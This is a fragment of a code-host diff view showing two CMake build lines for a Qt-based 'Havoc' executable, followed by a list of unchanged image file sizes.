add_executable( ${PROJECT_NAME} ${HAVOC_INCLUDE} ${HAVOC_SOURCE} ${HAVOC_UTIL} ${APP_ICON_RESOURCE_WINDOWS} Data/Havoc.rc )
add_definitions( -DQT_NO_DEBUG_OUTPUT )

Before

Width:  |  Height:  |  Size: 81 KiB

After

Width:  |  Height:  |  Size: 81 KiB

Before

Width:  |  Height:  |  Size: 328 B

After

Width:  |  Height:  |  Size: 328 B

Before

Width:  |  Height:  |  Size: 376 B

After

Width:  |  Height:  |  Size: 376 B

Before

Width:  |  Height:  |  Size: 340 B

After

Width:  |  Height:  |  Size: 340 B

Before

Width:  |  Height:  |  Size: 536 B

After

Width:  |  Height:  |  Size: 536 B

Before

Width:  |  Height:  |  Size: 398 B

After

Width:  |  Height:  |  Size: 398 B

Before

Width:  |  Height:  |  Size: 395 B

After

Width:  |  Height:  |  Size: 395 B

Before

Width:  |  Height:  |  Size: 5.0 KiB

After

Width:  |  Height:  |  Size: 5.0 KiB

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Before

Width:  |  Height:  |  Size: 4.6 KiB

After

Width:  |  Height:  |  Size: 4.6 KiB

Before

Width:  |  Height:  |  Size: 515 B

After

Width:  |  Height:  |  Size: 515 B

Before

Width:  |  Height:  |  Size: 1.0 KiB

After

Width:  |  Height:  |  Size: 1.0 KiB

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Before

Width:  |  Height:  |  Size: 2.2 KiB

After

Width:  |  Height:  |  Size: 2.2 KiB

Before

Width:  |  Height:  |  Size: 3.5 KiB

After

Width:  |  Height:  |  Size: 3.5 KiB

Before

Width:  |  Height:  |  Size: 8.7 KiB

After

Width:  |  Height:  |  Size: 8.7 KiB

Some files were not shown because too many files have changed in this diff Show More